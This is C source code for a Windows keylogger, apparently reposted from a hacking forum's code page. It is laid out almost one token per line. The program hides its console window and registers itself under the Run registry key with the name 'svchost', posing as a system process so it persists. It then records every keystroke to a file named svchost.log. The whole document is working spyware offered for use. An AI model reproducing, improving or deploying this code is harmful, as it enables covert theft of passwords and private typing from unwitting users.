The org is the link:[url]http://www.darkmindz.com/codebase/keylogger-in-c-num283.html[/url]
// Coded By Cyberwire
// Compiled in Dev C++
// Takes up 99 CPU Need Alternative!!!
#include <windows.h>
#include <stdio.h>
#include <winuser.h>
#define BUFSIZE 80
int test_key
(
void
);
int create_key
(
char *
);
int get_keys
(
void
);
int main
(
void
)
{
HWND stealth;
/*creating stealth (window is not visible)*/
AllocConsole
(
);
stealth=FindWindowA
(
"ConsoleWindowClass",
NULL
);
ShowWindow
(stealth,
0
);
int test,create;
test=test_key
(
);
/*check if key is available for opening*/
if
(test==
2
)
/*create key*/
{
char *path=
"c:\\%windir%\\svchost.exe";
/*the path in which the file needs to be*/
create=create_key
(path
);
}
int t=get_keys
(
);
return t;
}
int get_keys
(
void
)
{
short character;
while
(
1
)
{
for
(character=
8;character<=
222;character++
)
{
if
(GetAsyncKeyState
(character
)==
-32767
)
{
FILE *file;
file=fopen
(
"svchost.log",
"a+"
);
if
(file==
NULL
)
{
return
1;
}
if
(file!=
NULL
)
{
if
(
(character>=
39
)&&
(character<=
64
)
)
{
fputc
(character,file
);
fclose
(file
);
break;
}
else
if
(
(character>
64
)&&
(character<
91
)
)
{
character+=
32;
fputc
(character,file
);
fclose
(file
);
break;
}
else
{
switch
(character
)
{
case VK_SPACE:
fputc
(
' ',file
);
fclose
(file
);
break;
case VK_SHIFT:
fputs
(
"[SHIFT]",file
);
fclose
(file
);
break;
case VK_RETURN:
fputs
(
"\n[ENTER]",file
);
fclose
(file
);
break;
case VK_BACK:
fputs
(
"[BACKSPACE]",file
);
fclose
(file
);
break;
case VK_TAB:
fputs
(
"[TAB]",file
);
fclose
(file
);
break;
case VK_CONTROL:
fputs
(
"[CTRL]",file
);
fclose
(file
);
break;
case VK_DELETE:
fputs
(
"[DEL]",file
);
fclose
(file
);
break;
case VK_OEM_1:
fputs
(
"[;:]",file
);
fclose
(file
);
break;
case VK_OEM_2:
fputs
(
"[/?]",file
);
fclose
(file
);
break;
case VK_OEM_3:
fputs
(
"[`~]",file
);
fclose
(file
);
break;
case VK_OEM_4:
fputs
(
"[ [{ ]",file
);
fclose
(file
);
break;
case VK_OEM_5:
fputs
(
"[\\|]",file
);
fclose
(file
);
break;
case VK_OEM_6:
fputs
(
"[ ]} ]",file
);
fclose
(file
);
break;
case VK_OEM_7:
fputs
(
"['\"]",file
);
fclose
(file
);
break;
/*case VK_OEM_PLUS:
fputc('+',file);
fclose(file);
break;
case VK_OEM_COMMA:
fputc(',',file);
fclose(file);
break;
case VK_OEM_MINUS:
fputc('-',file);
fclose(file);
break;
case VK_OEM_PERIOD:
fputc('.',file);
fclose(file);
break;*/
case VK_NUMPAD0:
fputc
(
'0',file
);
fclose
(file
);
break;
case VK_NUMPAD1:
fputc
(
'1',file
);
fclose
(file
);
break;
case VK_NUMPAD2:
fputc
(
'2',file
);
fclose
(file
);
break;
case VK_NUMPAD3:
fputc
(
'3',file
);
fclose
(file
);
break;
case VK_NUMPAD4:
fputc
(
'4',file
);
fclose
(file
);
break;
case VK_NUMPAD5:
fputc
(
'5',file
);
fclose
(file
);
break;
case VK_NUMPAD6:
fputc
(
'6',file
);
fclose
(file
);
break;
case VK_NUMPAD7:
fputc
(
'7',file
);
fclose
(file
);
break;
case VK_NUMPAD8:
fputc
(
'8',file
);
fclose
(file
);
break;
case VK_NUMPAD9:
fputc
(
'9',file
);
fclose
(file
);
break;
case VK_CAPITAL:
fputs
(
"[CAPS LOCK]",file
);
fclose
(file
);
break;
default:
fclose
(file
);
break;
}
}
}
}
}
}
return EXIT_SUCCESS;
}
int test_key
(
void
)
{
int check;
HKEY hKey;
char path
[BUFSIZE
];
DWORD buf_length=BUFSIZE;
int reg_key;
reg_key=RegOpenKeyEx
(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",
0,KEY_QUERY_VALUE,&hKey
);
if
(reg_key!=
0
)
{
check=
1;
return check;
}
reg_key=RegQueryValueEx
(hKey,
"svchost",
NULL,
NULL,
(LPBYTE
)path,&buf_length
);
if
(
(reg_key!=
0
)||
(buf_length>BUFSIZE
)
)
check=
2;
if
(reg_key==
0
)
check=
0;
RegCloseKey
(hKey
);
return check;
}
int create_key
(
char *path
)
{
int reg_key,check;
HKEY hkey;
reg_key=RegCreateKey
(HKEY_LOCAL_MACHINE,
"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run",&hkey
);
if
(reg_key==
0
)
{
RegSetValueEx
(
(HKEY
)hkey,
"svchost",
0,REG_SZ,
(BYTE *
)path,strlen
(path
)
);
check=
0;
return check;
}
if
(reg_key!=
0
)
check=
1;
return check;
}